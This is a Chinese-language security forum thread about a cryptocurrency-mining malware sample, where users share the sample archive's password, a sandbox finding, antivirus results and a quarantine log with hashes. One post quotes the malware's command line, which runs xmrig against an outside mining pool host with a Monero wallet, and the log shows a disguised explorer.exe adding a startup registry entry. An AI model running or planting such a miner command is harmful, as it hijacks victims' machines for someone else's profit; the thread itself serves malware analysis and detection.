挖矿病毒

显示全部楼层 · 发表于 2018-4-1 17:21:49

密码是什么呢

显示全部楼层 · 发表于 2018-4-26 10:40:28

hell0 发表于 2018-4-1 17:21
密码是什么呢

知道了，密码就是文件名，，
也就是：bc8aab76

显示全部楼层 · 发表于 2018-4-26 13:44:13

经过微步云沙箱的检测，发现那个名为work.exe的文件，释放一个批处理文件，文件中发现不止beat.bat文件中显示的那一个用户，还有下面这个
CommandLine = C:\\Windows\\System32\\xmrig.exe -o get.bi-chi.com:3333 -u 48YtGrPyniHcfKNyq9CR2X6T4rnvg88BmRqghjxEHFKLE7VzpbhvkYADAU81CK3xZvWqjGSsQrhz5ZXDxn9LnRWkGaEjU2P -p x -k
详细信息可参考分析报告

显示全部楼层 · 发表于 2018-4-26 14:24:42

kankan看看密码

显示全部楼层 · 发表于 2018-4-27 16:03:25

360

显示全部楼层 · 发表于 2018-5-26 14:23:15

火绒全部kill

显示全部楼层 · 发表于 2018-6-3 17:30:48

AVA 25.17292
GD 25.12403

*** Process ***

Process: 3492
File name: explorer.exe
Path: d:\360极速浏览器下载\bc8aab76\explorer.exe

Publisher: Unknown publisher
Creation date: 2018年6月3日 17:29:55
Modification date: 2018年2月23日 22:40:13

Started by: explorer.exe
Publisher: Microsoft Windows

*** Actions ***

A packer was run on the program file, possibly to conceal malicious content.
The program is trying to create a startup item to launch a program automatically at system startup.

*** Quarantine ***

The following files were moved into quarantine:
D:\360极速浏览器下载\bc8aab76\explorer.exe

The following registry entries were deleted:

\registry\user\s-1-5-21-4276158925-4074855716-677858691-500\software\microsoft\windows\currentversion\run || apache

YHKCBywnKCcoJgYuJycnJyYGLycoJygmBqdCJyh0gmJicCsnKCcoJgbHcoJygmJigC4nKCcoJga5cuKQLScI6XJyYmJycqAsJycmJicHjXJyYmJycvAoJycnJyYG/3JyYmJycnCncoJwunLBWmOmgpLBXmPGcnLBWmOmcnDscoJiYnKCcPxycmJicnJwjnJyCPcoJwpoKScHuC8nJycnJgboKicI6CsnKCYmJwgA
Rules version: 5.0.149
OS: Windows 6.1 Service Pack 1.0 Build: 7601 - Workstation 32bit OS
dll version: 73031

"D:\360极速浏览器下载\bc8aab76\explorer.exe"
MD5: 9E259BD7BDF8FC1EAE9975A766E9F2B9
C:\Windows\Explorer.EXE
MD5: 6DDCA324434FFA506CF7DC4E51DB7935

显示全部楼层 · 发表于 2018-6-3 18:08:14

本帖最后由 dg1vg4 于 2018-6-3 18:12 编辑

然而既然被感染，那就很能说明问题了。

这次一个挖矿，下次要不要来个勒索？

[病毒样本] 挖矿病毒

本帖子中包含更多资源

浏览过的版块